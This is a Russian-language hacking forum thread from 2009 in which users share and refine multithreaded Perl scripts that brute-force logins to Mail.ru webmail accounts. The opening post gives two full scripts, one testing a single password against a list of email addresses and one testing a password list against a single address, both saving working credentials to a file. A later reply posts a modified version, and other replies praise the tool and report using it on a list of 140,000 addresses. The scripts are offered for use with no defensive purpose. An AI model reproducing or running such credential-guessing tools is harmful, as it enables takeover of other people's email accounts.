[PERL]Multithread Mail.ru bruteforce by Sharky

Discussion in 'PHP' started by Sharky, 21 Feb 2009.

  1. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    Многопоточный Брутфорс Mail.ru by Sharky

    [​IMG]

    Описание:

    [!]Брутит на один пароль по списку мыл ( можно и переделать :) ) через swa.mail.ru
    [!]Многопоточнсть
    [!]Высокая скорость брута (сам разгонял до 170 pps :))
    [!]Не требуются прокси


    Редактируем в коде под себя:
    Code:
    ########################################################
    $emails   = 'mail.txt';    #Файл с мылами
    $good     = 'good.txt';    #Файл с прочеканными гуд акками
    $password = '111111';      #Пароль на который брутить
    ########################################################
    $threads = '20';          #Количество потоков
    $timeout = '5';            #Таймаут
    ########################################################

    Source:

    Лист мыл на один пароль:
    PHP:
    #!/usr/bin/perl

    use IO::Socket;
    use 
    threads;
    use 
    threads::shared;
    ########################################################
    my @acc shared;
    my $i shared;
    my $g shared;
    my $total shared;
    ########################################################
    $emails   'mail.txt';    #Файл с мылами
    $good     'good.txt';    #Файл с прочеканными гуд акками
    $password '111111';      #Пароль на который брутить
    ########################################################
    $threads '20';          #Количество потоков
    $timeout '5';            #Таймаут
    ########################################################
    $hostname "swa.mail.ru";
    $port     '80';
    $path     "/cgi-bin/auth";

    ########################################################
    openACS"<$emails);
    @
    acc  acc();
    $size scalar @acc;

    threads();

    sub threads {
        
    $g 0;
        for ( 
    .. $threads ) { $trl[$_] = threads->create( \&check$_ ); }
        for (@
    trl) { $_->join; }
        print 
    "Good: $g ";
    }

    sub check {
        while (@
    acc) {
            { 
    lock(@acc); $acc shift @acc; }
            
    my $mail$server ) = split( /@/, $acc );

            
    $nn "\r\n";

            
    my $sock = new IO::Socket::INET(
                
    PeerAddr  => $hostname,
                
    PeerPort  => $port,
                
    PeerProto => 'tcp',
                
    TimeOut   => $timeout
            
    );
            if ( !
    $sock ) {
                { 
    lock($i); $i++; }
            }
            else {
                
    my $data =
                  
    "action1=Login&Login=$mail&Domain=$server&Password=$password";
                
    my $re =
                    
    "POST /cgi-bin/auth HTTP/1.0" 
                  
    $nn
                  
    "Host: swa.mail.ru"
                  
    $nn
                  
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
                  
    $nn
                  
    "Content-type: application/x-www-form-urlencoded"
                  
    $nn
                  
    "Cache-Control: no-cache"
                  
    $nn
                  
    "Content-length: "
                  
    length($data)
                  . 
    $nn
                  
    "Connection: Keep-Alive"
                  
    $nn
                  
    $nn;
                print 
    $sock $re;
                print 
    $sock $data;
                
    sysread$sockmy $answ666 );
                
    close $sock;

                if ( 
    $answ =~ /Location/ ) {
                    { 
    lock($total); $total++; }
                    print 
    "$mail - [OK]\n";
                    
    openFILE">>$good);
                    print 
    FILE "$acc:$password\n";
                    
    close(FILE);
                    
    $g++;
                }

                { 
    lock($i); $i++; }
                
    $percent = ( $i $size ) * 100;
                
    $percent sprintf"%.0f"$percent );
                print 
    "$percent%" $nn;
            }
        }
    }

    sub acc {
        
    my (@mas);
        while (<
    ACS>) {
            
    push @mas$_;
        }
        
    chomp @mas;
        return @
    mas;
    }
    #with love by Sharky
    Одно мыло на лист паролей:

    PHP:
     #!/usr/bin/perl 

    use IO::Socket
    use 
    threads
    use 
    threads::shared
    ##################################################  ###### 
    my @acc shared
    my $i shared
    my $g shared
    my $total shared
    $| = 
    1;

    print 
    "
    ###################################################################
    ###                 Sharky Mail.ru brute                        ###
    ### Usage mail.pl [email] [passwords.txt] [good.txt] [threads]  ###
    ###################################################################
    "
    ;
    ##################################################  ###### 
    $email   shift;
    $pass shift;
    $good     shift;

    ##################################################  ###### 
    $threads shift;
    $timeout '5';            #Таймаут 
    ##################################################  ###### 
    $hostname "swa.mail.ru"
    $port     '80'

    ##################################################  ###### 
    print "[+] Loading passwords... \n";
    openACS"<$pass);
    @
    acc  acc(); 
    $size scalar @acc
    print 
    "[+] Loaded $size passwords \n";

    threads(); 

    sub threads 
    print 
    "[+] Start Brute\n\n";
        for ( 
    .. $threads ) { $trl[$_] = threads->create( &check$_ ); } 
        for (@
    trl) { $_->join; }  


    sub check 
        while (@
    acc) { 
            { 
    lock(@acc); $passw shift @acc; } 
            
    my $mail$server ) = split( /@/, $email );  

            
    $nn "\r\n"

            
    my $sock = new IO::Socket::INET
                
    PeerAddr  => $hostname
                
    PeerPort  => $port
                
    PeerProto => 'tcp'
                
    TimeOut   => $timeout 
            
    ); 
            if ( !
    $sock ) { 
                { 
    lock($i); $i++; } 
            } 
            else { 
                
    my $data 
                  
    "action1=Login&Login=$mail&Domain=$server&Password=$passw"
                
    my $re 
                    
    "POST /cgi-bin/auth HTTP/1.0"  
                  
    $nn 
                  
    "Host: swa.mail.ru" 
                  
    $nn 
                  
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7" 
                  
    $nn 
                  
    "Content-type: application/x-www-form-urlencoded" 
                  
    $nn 
                  
    "Cache-Control: no-cache" 
                  
    $nn 
                  
    "Content-length: " 
                  
    length($data
                  . 
    $nn 
                  
    "Connection: Keep-Alive" 
                  
    $nn 
                  
    $nn
                print 
    $sock $re
                print 
    $sock $data
                
    sysread$sockmy $answ666 ); 
                
    close $sock

                if ( 
    $answ =~ /Location/ ) { 
                    { 
    lock($total); $total++; } 
                    print 
    "$email:$passw - [OK]\n"
                    
    openFILE">>$good); 
                    print 
    FILE "$acc:$password\n"
                    
    close(FILE); 
                    exit;
                } 

                { 
    lock($i); $i++; } 
            } 
            
    $percent = ( $i $size ) * 100
                
    $percent sprintf"%.0f"$percent ); 
                print 
    "[%]$percent%\r"
        } 


    sub acc 
        
    my (@mas); 
        while (<
    ACS>) { 
            
    push @mas$_
        } 
        
    chomp @mas
        return @
    mas

    #with love by Sharky  
    Использование одномыльного :
    Code:
    ###################################################################
    ###                 Sharky Mail.ru brute                        ###
    ### Usage mail.pl [email] [passwords.txt] [good.txt] [threads]  ###
    ###################################################################
    Либо скачать архивом:
    Rapidshare.com
    Webfile.ru
    Dump.ru
     
    #1 Sharky, 21 Feb 2009
    Last edited: 3 Mar 2009
    8 people like this.
  2. Fess59

    Fess59 New Member

    Joined:
    16 Feb 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    тестил... база мыл 140к. работает стабильно, только много процентов :) ну очень много))
     
  3. N19hTW0lF

    N19hTW0lF Elder - Старейшина

    Joined:
    11 Jul 2007
    Messages:
    188
    Likes Received:
    140
    Reputations:
    4
    Брутом не занимаюсь.Ну уважаю чела и его работы.+++
    (потестил бы ,но перла нету)
     
  4. Romaxa55

    Romaxa55 Banned

    Joined:
    19 Oct 2005
    Messages:
    144
    Likes Received:
    30
    Reputations:
    4
    Молодец, хороший брутик, ++++++
     
    2 people like this.
  5. BuG_4F

    BuG_4F Member

    Joined:
    20 May 2008
    Messages:
    88
    Likes Received:
    67
    Reputations:
    5
    Отлично !!! Многопоточность на красоту :)
     
    5 people like this.
  6. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    по просьбам трудящихся добавил ещё один для брута одного мыла по словарю паролей

    не стал их объединять ибо просто влом

    ps Я ВСЕМИРНЫЙ ОБЛОМЩИК ТОРГАШЕЙ
     
    #6 Sharky, 3 Mar 2009
    Last edited: 3 Mar 2009
    4 people like this.
  7. rcc0023

    rcc0023 Elder - Старейшина

    Joined:
    3 Jul 2008
    Messages:
    100
    Likes Received:
    6
    Reputations:
    0
    А что включает 2я версия?
     
  8. rcc0023

    rcc0023 Elder - Старейшина

    Joined:
    3 Jul 2008
    Messages:
    100
    Likes Received:
    6
    Reputations:
    0
    Don1=2, ну так я разве не прав!??!.. Sharky очень хорошо написал.. и очень хорошо поступил...
     
  9. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    1 - брут списка мыл по одному паролю
    2 - брут одного мыла по списку паролей
     
  10. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Ща буду тестить
     
  11. Timur111

    Timur111 New Member

    Joined:
    20 Apr 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    как правильно настроить брут по списку паролей на один E-mail?
    Настраивал вроде верно но выбивает сразу после запуска..
    Кто поможет,в асю стучите-413190144
    заплачу 1$ кто поможет разобраться)
     
    #11 Timur111, 6 Mar 2009
    Last edited: 6 Mar 2009
  12. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    ### Usage mail.pl [passwords.txt] [good.txt] [threads] ###
     
  13. B1t.exe

    B1t.exe Elder - Старейшина

    Joined:
    6 Nov 2006
    Messages:
    1,020
    Likes Received:
    128
    Reputations:
    23
     
    1 person likes this.
  14. RegStuff

    RegStuff Banned

    Joined:
    19 Feb 2009
    Messages:
    3
    Likes Received:
    2
    Reputations:
    0
    Шарке, я вот включил:
    Code:
    use warnings;
    use diagnostics;
    
    и у меня твой релизенг не запустился :(
     
  15. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Ну по сравнению с реализацией логина, этот брут просто отстой.
     
    3 people like this.
  16. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    "Вот я твой код поменял, а он работать перестал. " ггг )))

    Кто будет наезжать на остальных - побаню.
     
    2 people like this.
  17. B1t.exe

    B1t.exe Elder - Старейшина

    Joined:
    6 Nov 2006
    Messages:
    1,020
    Likes Received:
    128
    Reputations:
    23
    а на мой вопрос пока нет решений ?
     
  18. Tombik

    Tombik Banned

    Joined:
    21 Dec 2008
    Messages:
    18
    Likes Received:
    85
    Reputations:
    13
    ребят, разберитесь кто-то, со второй частью скрипта "Одно мыло на лист паролей".... у ТС нет времени на это.
     
  19. ghostwizard

    ghostwizard Member

    Joined:
    4 Dec 2005
    Messages:
    127
    Likes Received:
    36
    Reputations:
    21
    Модифицированная версия.
    Изменено:
    1. Нет ошибки неправильного завершения нити.
    2. Вместо процентов теперь плюсики в одну строку. Количество их можно изменить.

    Пользуйтесь. Неплохой брут. Как раз узнал про реальное использование нитей в перле.

    З.Ы. Форматирование кода ужасное в ачат-редакторе =Q

    Есть вариант добавить прокси-поддержку распределенную по нитям. Т.е для каждой нити свой прокси или рандомный по списку, сколько фантазии хватит :)

    Code:
    #!/usr/bin/perl -w    
    
    use strict;    
    use IO::Socket;  
    use threads qw(stringify); 
    use threads::shared;  
    use POSIX;  ########################################################    
    my @acc : shared;  
    my $i : shared;  
    my $total : shared;  
    my $k : shared; 
    $| = 1; 
    print "
    ######################################################################  
    ###                 Sharky Mail.ru brute                           ###  
    ### Usage mail.pl [email] [passwords.txt] [good.txt] [threads]     ###
    ### edited by gh0stwizard                                         ###  
    ######################################################################  
    ";
    ########################################################  
    my $email = shift;   
    my $pass =  shift;  
    my $good =  shift;   
    my $threads = shift;   
    my $timeout = '5';            #Таймаут  
    my $hostname = "swa.mail.ru";    
    my $port     = '80';  
    my ( $mail, $server ) = split( /@/, $email );     
    my $nn = "\r\n";  
    my $maxplus = 62;     #Количество выводимых плюсов  
    ########################################################  
    my ($passw, $percent);    
    ########################################################    
    print "[+] Loading passwords... \n";   
    open( ACS, "<$pass" );   
    @acc  = &acc();    
    my $size = scalar @acc;    
    print "[+] Loaded $size passwords \n";  
    print "[+] Start Brute\n\n[";    
    
    my (@trl);    
    &threads();  
    
    sub threads {      
     for ( 0 .. $threads )  {          
      $trl[$_] = threads->create( {'void' => 1}, \&check, $_ );          
      $trl[$_]->join();      
      }      
     print "\n[*] Bruteforce has been completed.\n";  
    }   
    
    sub check {        
      while (@acc) {            
         { lock(@acc); $passw = shift @acc; }
         my $sock = new IO::Socket::INET(
                    PeerAddr  => $hostname,
                    PeerPort  => $port, 
                    PeerProto => 'tcp',
                    TimeOut   => $timeout
                );
                if ( !$sock ) { 
                   { lock($i); $i++; }
                }
                else {
                    my $data =
                      "action1=Login&Login=$mail&Domain=$server&Password=$passw";
                    my $re =
                       "POST /cgi-bin/auth HTTP/1.0"
                       . $nn
                       . "Host: swa.mail.ru"
                       . $nn
                       . "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
                      . $nn
                      . "Content-type: application/x-www-form-urlencoded"
                      . $nn
                      . "Cache-Control: no-cache"
                      . $nn
                      . "Content-length: "
                      . length($data)
                      . $nn
                      . "Connection: Keep-Alive"
                      . $nn
                      . $nn;
                    print $sock $re;
                    print $sock $data;
                    sysread( $sock, my $answ, 666 );
                    close $sock;
                      if ( $answ =~ /Location/ ) {
                        { lock($total); $total++; } 
                       print "]\n[*] $email:$passw - [OK]";
                        open( FILE, ">>$good" );
                        print FILE "$email:$passw\n";
                        close(FILE);
                      print "\n[*] Bruteforce has been completed.\n";
                      exit;
                   }
                      { lock($i); $i++; }
              }
              $percent = sprintf("%.6f", ( $i / $size )) * $maxplus;
              my $sh = sprintf("%.6f", (1 / $size)) * $maxplus;
              my $zer = sprintf("%.6f", (1 / $size));
                       if (($percent == $sh) or ($percent == $zer)) {
                  print "+"; $k++;
               }
              elsif ( (floor($percent) - 1) == $k ) {
                  print "+"; $k++;
              }
              elsif ((floor($percent) -$k) >=2 and ($maxplus>20)) {
                  my $def = (floor($percent)) - $k;
                  $k += $def;
                  print "+"x$def;
              }
              if ($percent == $maxplus) { print "] 100%\r"; }
          }
    }
    
    sub acc {
            my (@mas);
            while (<ACS>) {
              push @mas, $_;
            }
            chomp @mas;
            return @mas;
        }
    #with love by Sharky 
    
    
     
    #19 ghostwizard, 16 Apr 2009
    Last edited: 16 Apr 2009
    1 person likes this.
  20. Tombik

    Tombik Banned

    Joined:
    21 Dec 2008
    Messages:
    18
    Likes Received:
    85
    Reputations:
    13
    ghostwizard, мои слабые познания, не позволяют разобраться в чём ошибка )))), но явно, чё-то не то...
     
    #20 Tombik, 16 Apr 2009
    Last edited: 17 Apr 2009
Loading...
Similar Threads - PERL Multithread Mail
  1. GAiN
    Replies:
    3
    Views:
    6,871